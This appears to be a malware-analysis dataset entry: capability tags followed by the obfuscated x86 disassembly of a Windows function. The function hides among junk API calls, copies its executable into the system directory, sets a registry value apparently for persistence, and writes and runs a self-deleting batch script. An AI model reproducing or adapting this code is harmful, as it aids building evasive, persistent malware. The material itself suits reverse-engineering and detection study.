Function at 0x40b1e5
Capabilities:
Accept command line arguments
Copy file
Create thread
Delete file
Delete registry value
Get common file path
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff04
lea edi, [ebp - 0xfc]
pushfd
push ebx
rol ebx, 0x1c
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fxam
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push edx
mov dword [esp], 0xed886f54
add dword [esp], 0x86ddffff
pushfd
push eax
rcr eax, 0xe
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fsin
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
pop dword [edi]
pushfd
push ebx
bt ebx, 0x1b
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
lea edi, [edi + 4]
pushfd
push ebx
shl ebx, 0x1d
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b281
push ebx
mov dword [esp], 0xfb406176
push ebx
mov ebx, esp
add ebx, 4
sub dword [ebx], 0x95cdffff
pop ebx
pop dword [edi]
lea edi, [edi + 4]
pushfd
push edx
shl edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
mov dword [esp], 0x14994d5d
add dword [esp], 0x4ecfffff
pop dword [edi]
lea edi, [edi + 4]
push ebx
mov dword [esp], 0x22b6f73
add dword [esp], 0x6d47ffff
pop dword [edi]
lea edi, [edi + 4]
push edx
mov dword [esp], 0x4687465
push ebx
mov ebx, esp
add ebx, 4
sub dword [ebx], 0xad0bffff
pop ebx
pushfd
push esi
bt esi, 0xb
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
cld
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pop dword [edi]
lea edi, [edi + 4]
push eax
mov dword [esp], 0xdd806e6a
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x91e3ffff
pop ebx
pushfd
push ecx
shl ecx, 3
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
sete bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pop dword [edi]
lea edi, [edi + 4]
push ebx
mov dword [esp], 0x222c7378
add dword [esp], 0x212fffff
pushfd
push eax
rol eax, 0xe
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fxam
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
pop dword [edi]
lea edi, [edi + 4]
push eax
mov dword [esp], 0xb6ba7276
push esi
mov esi, esp
add esi, 4
add dword [esi], 0xaeb7ffff
pop esi
pushfd
push edx
btc edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pop dword [edi]
pushfd
push ecx
bts ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push eax
seta al
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
lea edi, [edi + 4]
push eax
mov dword [esp], 0xdc1e746f
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x8937ffff
pop eax
pop dword [edi]
lea edi, [edi + 4]
push eax
mov dword [esp], 0x8ff7373
push edx
mov edx, esp
add edx, 4
add dword [edx], 0x6669ffff
pop edx
pushfd
push esi
btr esi, 0x1c
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
push ecx
pushfd
imul edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
pop dword [edi]
lea edi, [edi + 4]
pushfd
push edx
btr edx, 0x1a
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fmulp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0xaf97ffff
mov dword [esp], 0xdac5a391
xor dword [esp], 0xaf97ffff
pushfd
push eax
ror eax, 0xb
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
push ecx
pushfd
sub ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
pop dword [edi]
lea edi, [edi + 4]
pushfd
push esi
rol esi, 2
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
packssdw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0xe7a86e6d
sub dword [esp], 0x7939ffff
pushfd
push edx
bt edx, 0x1a
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b4b5
pop dword [edi]
inc edi
and dword [edi], 0
call fcn.00403990
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push edx
shl edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ecx
setle cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
mov dword [ebp - 8], eax
pushfd
push eax
rcr eax, 0x19
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
punpckhbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
pushfd
push ebx
rcl ebx, 0xb
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ecx
push eax
pushfd
sbb ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [0x42186b], 0
pushfd
push ebx
ror ebx, 0x1e
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push ebx
pushfd
cmovp esi, ebx
popfd
pop ebx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0x104
push dword [ebp - 8]
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x42186b
lea eax, [ebp - 0x18]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0xfc]
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x42186b], 0
pushfd
push ebx
shl ebx, 0xe
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x104
push dword [ebp - 4]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x42186b
lea eax, [ebp - 0x1c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0xfc]
push eax
push 0x80000001
call sub.advapi32.dll_RegCreateKeyExA
pushfd
push edx
rcr edx, 4
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
movq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
lea edi, [ebp - 0xfc]
push eax
mov dword [esp], 0xe3b695d
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x5827ffff
pop esi
pushfd
push edx
btr edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
push ecx
pushfd
cmovb edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
pop dword [edi]
lea edi, [edi + 4]
push 0x6578652e
pushfd
push esi
btc esi, 0xe
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pop dword [edi]
pushfd
push esi
btr esi, 7
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
setae bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
lea edi, [edi + 4]
push 0
pop dword [edi]
pushfd
push eax
rol eax, 0x1c
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b6c8
lea edi, [edi + 4]
push dword [ebp - 8]
call fcn.00415ec0
pushfd
push ecx
btc ecx, 0xd
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push eax
sets al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
add eax, dword [ebp - 8]
pushfd
push esi
btc esi, 0xe
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push eax
push ecx
pushfd
cmovae eax, ecx
popfd
pop ecx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov edi, eax
pushfd
push edx
btr edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b744
lea esi, [ebp - 0xfc]
lodsb al, byte [esi]
stosb byte es:[edi], al
or al, al
pushfd
push ebx
rcl ebx, 0x1d
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
std
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
jne 0x40b74a
push dword [ebp - 8]
call fcn.00415ec0
mov dword [0x42187b], eax
pushfd
push esi
btr esi, 2
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pcmpgtw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push dword [ebp - 4]
call fcn.00415fe0
push dword [ebp - 8]
call fcn.00415fe0
pushfd
push ebx
rcr ebx, 4
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
inc cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push dword [ebp - 8]
call sub.KERNEL32.DLL_DeleteFileA
push 0
push dword [ebp - 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_CopyFileA
push ecx
mov dword [esp], 0xe364636a
add dword [esp], 0x1d01ffff
pushfd
push eax
shl eax, 4
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
push ecx
pushfd
cmovae ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov ecx, esp
push ecx
push dword [0x42187b]
push dword [ebp - 8]
push 1
push 0
push ecx
push dword [ebp - 0x18]
call sub.advapi32.dll_RegSetValueExA
pushfd
push ecx
bts ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
push ebx
pushfd
cmovae ebx, ebx
popfd
pop ebx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
pop eax
push eax
push dword [ebp - 0x1c]
call sub.advapi32.dll_RegDeleteValueA
pop eax
pushfd
push eax
rol eax, 9
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setbe cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push dword [ebp - 0x18]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0x1c]
call sub.advapi32.dll_RegCloseKey
cmp dword [0x421427], 1
pushfd
push eax
shl eax, 6
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pcmpeqw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
je 0x40b901
pushfd
push esi
shl esi, 0xc
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b8c0
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00415f00
or eax, eax
pushfd
push edx
bt edx, 0x10
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b8fb
jne 0x40c08c
pushfd
push ebx
bts ebx, 0xa
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b92f
push 0
pushfd
push esi
rol esi, 5
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40b95e
push dword [ebp - 8]
call dword [0x4218ff]
pushfd
push eax
ror eax, 0x1c
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0x8000
push 0
push dword [ebp - 8]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ecx
rcr ecx, 0xd
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fxtract
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 4
push 0x1000
push 0x410
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 0x78], eax
pushfd
push esi
sar esi, 0x19
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
setle al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push 4
push 0x1000
push 0x410
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 4], eax
pushfd
push eax
rcl eax, 0x19
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40ba13
push 4
push 0x1000
push 0x20
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push ebx
ror ebx, 8
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push ecx
setno cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
mov dword [ebp - 0x7c], eax
pushal
pushfd
push ecx
rcl ecx, 0x17
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
push ecx
pushfd
sub ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push dword [ebp - 0x78]
call fcn.00409f0f
rdtsc
pushfd
push ebx
btr ebx, 0xc
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
add edx, eax
pushfd
push edx
sar edx, 0
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fcom st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov edi, dword [ebp - 0x78]
push edi
call fcn.00415ec0
pushfd
push edx
bts edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
f2xm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
add edi, eax
pushfd
push esi
shl esi, 4
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40baf3
and edx, 0x7fffffff
push edi
push edx
call fcn.00415d20
pushfd
push ecx
rcr ecx, 0x1c
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
mov esi, edi
mov edi, dword [ebp - 0x7c]
pushfd
push ebx
bts ebx, 0xc
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
lodsb al, byte [esi]
pushfd
push edx
bts edx, 9
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pmulhuw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
stosb byte es:[edi], al
pushfd
push esi
sar esi, 0x10
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
push eax
pushfd
cmovnp ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
or al, al
pushfd
push ebx
sar ebx, 0
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40bb8e
jne 0x40bb13
pushfd
push edx
btc edx, 5
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push edx
push ebx
pushfd
cmove edx, ebx
popfd
pop ebx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push dword [ebp - 0x78]
call fcn.00415ec0
mov edi, dword [ebp - 0x78]
pushfd
push ebx
shl ebx, 0x10
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pmulhuw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
lea edi, [eax + edi]
push 0x7461622e
pop dword [edi]
pushfd
push ebx
sar ebx, 0xd
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push eax
setp al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
lea edi, [edi + 4]
pushfd
push ecx
shl ecx, 0xb
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push edx
push edx
pushfd
cmovp edx, edx
popfd
pop edx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
xor al, al
stosb byte es:[edi], al
pushfd
push ecx
bt ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ebx
setp bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
popal
pushfd
push ebx
btc ebx, 0x1f
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40bc6e
push 0x104
push dword [ebp - 4]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x78]
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
mov edx, eax
mov dword [ebp - 0x74], 0x3a
pushfd
push esi
btr esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ecx
setns cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x7c]
call fcn.00415ec0
mov edx, eax
push 0
push 0x4218d3
push edx
push dword [ebp - 0x7c]
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0xa0d
mov ecx, esp
push 0
push 0x4218d3
push 2
push ecx
push ebx
call sub.KERNEL32.DLL_WriteFile
pop ecx
mov edx, 4
push 0
push 0x206c6564
mov ecx, esp
pushfd
push esi
sar esi, 2
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0
push 0x4218d3
push edx
push ecx
push ebx
call sub.KERNEL32.DLL_WriteFile
pop eax
pop ecx
mov dword [ebp - 0x74], 0x22
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call fcn.00415ec0
mov edx, eax
push 0
push 0x4218d3
push edx
push dword [ebp - 4]
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0xa0d
mov ecx, esp
pushfd
push ecx
btr ecx, 8
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
push 0x4218d3
push 2
push ecx
push ebx
call sub.KERNEL32.DLL_WriteFile
pop eax
mov ecx, 9
push 0x20202020
push 0x74736978
push 0x65206669
pushfd
push edx
btc edx, 0x17
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
packssdw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edx, esp
push 0
push 0x4218d3
push ecx
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
add esp, 0xc
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push edx
rcl edx, 2
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ecx
push ebx
pushfd
cmovp ecx, ebx
popfd
pop ebx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push dword [ebp - 4]
call fcn.00415ec0
mov edx, eax
pushfd
push eax
btc eax, 0x11
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ecx
push eax
pushfd
cmovbe ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0
push 0x4218d3
push edx
push dword [ebp - 4]
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
mov ecx, 6
push 0x2020206f
push 0x746f6720
mov edx, esp
pushfd
push esi
rcl esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
seto cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push 0
push 0x4218d3
push ecx
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
pop eax
pop ecx
pushfd
push eax
bts eax, 0xe
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fucom st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push dword [ebp - 0x7c]
call fcn.00415ec0
mov edx, eax
push 0
push 0x4218d3
push edx
push dword [ebp - 0x7c]
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0xa0d
mov edx, esp
push 0
push 0x4218d3
push 2
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
pop eax
pushfd
push edx
rol edx, 0x1a
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fptan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov ecx, 4
push 0x206c6564
pushfd
push edx
shl edx, 0xf
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
frndint
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov edx, esp
pushfd
push esi
btr esi, 0xa
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
push edx
pushfd
cmovae eax, edx
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0
push 0x4218d3
push ecx
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
pop eax
pushfd
push eax
sar eax, 3
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
psubusw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x78]
call fcn.00415ec0
pushfd
push eax
bt eax, 8
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
psrad mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov edx, eax
push 0
push 0x4218d3
push edx
push dword [ebp - 0x78]
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push ebx
ror ebx, 3
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
setle cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0x74]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 4]
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
pushfd
push eax
shl eax, 9
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pandn mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0
pushfd
push eax
shl eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
push edx
pushfd
cmove esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push dword [ebp - 0x78]
pushfd
push ecx
bt ecx, 0xc
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ecx
push ecx
pushfd
cmovg ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
call dword [0x4218ff]
push 0x8000
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualFree
push 0
call sub.KERNEL32.DLL_ExitProcess
leave
ret
call fcn.0040d0d6
push 0x8000
push 0
push dword [ebp - 0xc]
call sub.KERNEL32.DLL_VirtualFree
push 0x8000
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ebx
bt ebx, 9
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40c0dd
push 0x8000
push 0
push dword [ebp - 8]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ebx
sar ebx, 0x1b
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
call sub.KERNEL32.DLL_GetCurrentProcessId
push 1
push eax
pushfd
push edx
rcr edx, 2
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push eax
push ebx
pushfd
cmovne eax, ebx
popfd
pop ebx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
call dword [0x4217cf]
pushfd
push edx
btc edx, 0xc
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
call fcn.0040c1ce
pop eax
jmp 0x40c165
push 0x4217a3
push 0
push 0
push 0x4045d7
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x421603], eax
push 0xffffffffffffffff
push dword [0x421603]
call sub.KERNEL32.DLL_WaitForSingleObject
pushfd
push esi
btc esi, 0x1a
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0
call sub.KERNEL32.DLL_ExitProcess
pushfd
push ecx
sar ecx, 0x1d
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
leave
ret